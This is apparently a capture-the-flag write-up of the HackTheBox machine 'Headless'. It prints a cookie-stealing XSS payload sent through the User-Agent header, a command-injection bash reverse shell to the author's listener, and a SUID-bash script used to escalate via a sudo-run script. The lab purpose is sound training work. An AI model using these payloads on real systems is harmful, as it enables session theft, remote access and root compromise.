Headless – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Easy
  • Platform: HackTheBox

‘Headless’ Avatar


Summary Link to heading

Headless in an easy box from HackTheBox platform. From an initial scan we find that the target machine is running a webpage on port 5000 which is still on development. We see that this page has a form that we can fill. However, when we attempt some tricks the page detects “Hacking Attempts”. After analyzing it (and based on the machine name) we are able to inject XSS payloads through the header requests. With this we obtain a cookie for a login panel, previously found through a Brute Force Directory Listing. Login with this cookie shows a simple page that is used to schedule tasks. However, one of the parameters in this panel is vulnerable to Command Injection, which allows us to gain access to the target machine. Once inside, we see that our impersonated user can run a script with sudo. This script searches for another script in the current directory and executes it. Therefore, we create a malicious script in the current directory, execute the first script with sudo and gain access as root user; completing the machine.


User Link to heading

Nmap scan shows only 2 ports open: 22 SSH and 5000:

❯ sudo nmap -sVC -p22,5000 10.10.11.8 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 21:04 -04
Nmap scan report for 10.10.11.8
Host is up (0.19s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Sun, 26 May 2024 01:04:46 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Under Construction</title>
|     <style>
|     body {
|     font-family: 'Arial', sans-serif;
|     background-color: #f7f7f7;
|     margin: 0;
|     padding: 0;
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     height: 100vh;
|     .container {
|     text-align: center;
|     background-color: #fff;
|     border-radius: 10px;
|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
|   RTSPRequest:
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
<SNIP>

From the output, port 5000 shows that it is running Werkzeug with Python. So it is most likely a webpage running Flask. We can verify this running WhatWeb against the target and port 5000:

❯ whatweb http://10.10.11.8:5000

http://10.10.11.8:5000 [200 OK] Cookies[is_admin], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.2.2 Python/3.11.2], IP[10.10.11.8], Python[3.11.2], Script, Title[Under Construction], Werkzeug[2.2.2]

Visiting the webpage http://10.10.11.8:5000 shows a message that says the site is not ready yet, and a timer:

Headless 1

There is a button that says For questions. Clicking on it redirects to http://10.10.11.8:5000/support and shows a “Contact form”:

Headless 2

If I attempt to check for some vulnerable parameters in this “Contact form” intercepting the data with Burpsuite and then attempt, for example, a Cross Site Scripting (XSS) with the request:

POST /support HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 245
Origin: http://10.10.11.8:5000
DNT: 1
Connection: close
Referer: http://10.10.11.8:5000/support
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Upgrade-Insecure-Requests: 1

fname="http%3a//10.10.16.3%3a8000/fname"%3b>&lname="http%3a//10.10.16.3%3a8000/lname"%3b>&email="http%3a//10.10.16.3%3a8000/email"%3b>&phone="http%3a//10.10.16.3%3a8000/phone"%3b>&message=<img+src%3d"http%253a//10.10.16.3%253a8000/message"%253b>

The page displays a Hacking Attempt Detected message:

Headless 3

At this point I will start searching for directories attempting a Brute Force Directory Listing with Gobuster:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.8:5000 -t 55 -x html

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.8:5000
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/support              (Status: 200) [Size: 2363]
/dashboard            (Status: 500) [Size: 265]

There is a /dashboard directory, but it returns HTTP Code 500 (Internal Server Error).

Back to the “Contact Support”, I will send the request I previously made attempting a XSS to the Repeater to start playing with parameters. I will attempt to inject XSS payloads from PayloadAllTheThings using these examples. After many attempts there is one that works (as will be explained later). But unlike the previous attempts that were detected as “hacking attempts”, we are able to upload the XSS payload:

<script>document.location="http://10.10.16.3:8000/xss-76.js?cookie="+btoa(document.cookie);</script>  

where 10.10.16.3 is my attacker IP address and 8000 is a port that I will start listening with netcat as follows:

❯ nc -lvnp 8000

listening on [any] 8000 ...

Then, if we also inject the XSS payload in User-Agent parameter (the header, which is a hint based on the machine name), instead of only on the POST data, with the following request in Burpsuite Repeater:

POST /support HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: <script>document.location="http://10.10.16.3:8000/xss-76.js?cookie="+btoa(document.cookie);</script>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
Origin: http://10.10.11.8:5000
DNT: 1
Connection: close
Referer: http://10.10.11.8:5000/support
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Upgrade-Insecure-Requests: 1

fname=John&lname=Wick&email=test%40test.htb&phone=%2B5699999999&message=<script>document.location="http://10.10.16.3:8000/xss-76.js?cookie="+btoa(document.cookie);</script>

At least for me, I got nothing if I just put the payload in the User-Agent. But when I triggered the message Hacking Attempt Detected putting malicious data, and also putting the malicious payload on the User-Agent I got in my netcat listener:

❯ nc -lvnp 8000
listening on [any] 8000 ...

connect to [10.10.16.3] from (UNKNOWN) [10.10.11.8] 47814
GET /xss-76.js?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1
Host: 10.10.16.3:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:5000/
Connection: keep-alive
Upgrade-Insecure-Requests: 1

So I decode the cookie from base64:

❯ echo -n 'aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=' | base64 -d

is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

where, I assume, it is a valid admin cookie.

Back to directories found with Gobuster I remember there was a /dashboard directory. If I visit this page, it shows a simple message:

Headless 4

In Firefox, I go to Storage (press Ctrl+Shift+I) and I can see that there is an is_admin cookie. I will replace its value to the one found with the XSS attack and refresh the page. Now we can see a new web:

Healess 5

If I click on Generate Report the site just displays a message Systems are up and running!, but -apparently- nothing else.

To see what this panel really does, I will start intercept the request sent, when we press the button Generate Report, with Burpsuite. The intercepted request is:

POST /dashboard HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Origin: http://10.10.11.8:5000
DNT: 1
Connection: close
Referer: http://10.10.11.8:5000/dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1

date=2023-09-18

Let’s see if date parameter allows us to inject commands. To do this we can just add to this parameter the command ; id. So the request (with the payload) now looks like:

POST /dashboard HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Origin: http://10.10.11.8:5000
DNT: 1
Connection: close
Referer: http://10.10.11.8:5000/dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1

date=2023-09-18; id

Once done that, we can see that the webpage displays something interesting:

Headless 6

it is displaying the output for id command; so we have reached a Command Injection.

I will just inject the payload:

bash -c 'bash -i >& /dev/tcp/10.10.16.3/443 0>&1'

where, again, 10.10.16.3 is my attacker IP and 443 is the port I will start listening with netcat:

❯ nc -lvnp 443

listening on [any] 443 ...

Now, just include the malicious payload into the web request data with Burpsuite, so the POST request now looks like:

POST /dashboard HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Origin: http://10.10.11.8:5000
DNT: 1
Connection: close
Referer: http://10.10.11.8:5000/dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1

date=2023-09-18%3b+bash+-c+'bash+-i+>%26+/dev/tcp/10.10.16.3/443+0>%261'

We send the request and get a connection as dvir user:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.8] 36576
bash: cannot set terminal process group (1353): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$ whoami

whoami
dvir

Where we can get the user flag at /home/dvir directory.


Root Link to heading

We can see that this user can run one application with sudo without providing password:

dvir@headless:~/app$ sudo -l

Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

I note that it is just a Bash script:

dvir@headless:~/app$ file /usr/bin/syscheck

/usr/bin/syscheck: Bourne-Again shell script, ASCII text executable

but we can’t write on it:

dvir@headless:~/app$ ls -la /usr/bin/syscheck

-r-xr-xr-x 1 root root 768 Feb  2 16:11 /usr/bin/syscheck

Reading the script with cat /usr/bin/syscheck we have:

#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

I note that this script searches for an initdb.sh file in the current directory and is executing it. So I run the following commands:

dvir@headless:~/app$ echo -e '#!/bin/bash\ncp $(which bash) /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x' > ./initdb.sh

dvir@headless:~/app$ chmod +x ./initdb.sh

Basically, the first command is creating a simple Bash file script with the content:

#!/bin/bash

cp $(which bash) /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x

which creates a copy of /bin/bash binary and, to that copy, assigns SUID permissions. So we can run it as the owner (which will be root)

The second command (chmod +x ./initdb.sh) is to assign it execution permissions and avoid problems.

Then, I just run:

dvir@headless:~/app$ sudo /usr/bin/syscheck

Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.7G
System load average:  0.01, 0.03, 0.13
Database service is not running. Starting it...

I can check that my malicious file has been created:

dvir@headless:~/app$ ls -la /tmp

total 1288
drwxrwxrwt 13 root root    4096 May 26 05:32 .
drwxr-xr-x 18 root root    4096 Feb 16 23:49 ..
drwxrwxrwt  2 root root    4096 May 25 21:31 .font-unix
-rwsr-xr-x  1 root root 1265648 May 26 05:32 gunzf0x
drwxrwxrwt  2 root root    4096 May 25 21:31 .ICE-unix
<SNIP>

and we finally run it with -p flag to run it with the owner permissions:

dvir@headless:~/app$ /tmp/gunzf0x -p

gunzf0x-5.2# whoami
root

We can get the root flag at /root directory.

~Happy Hacking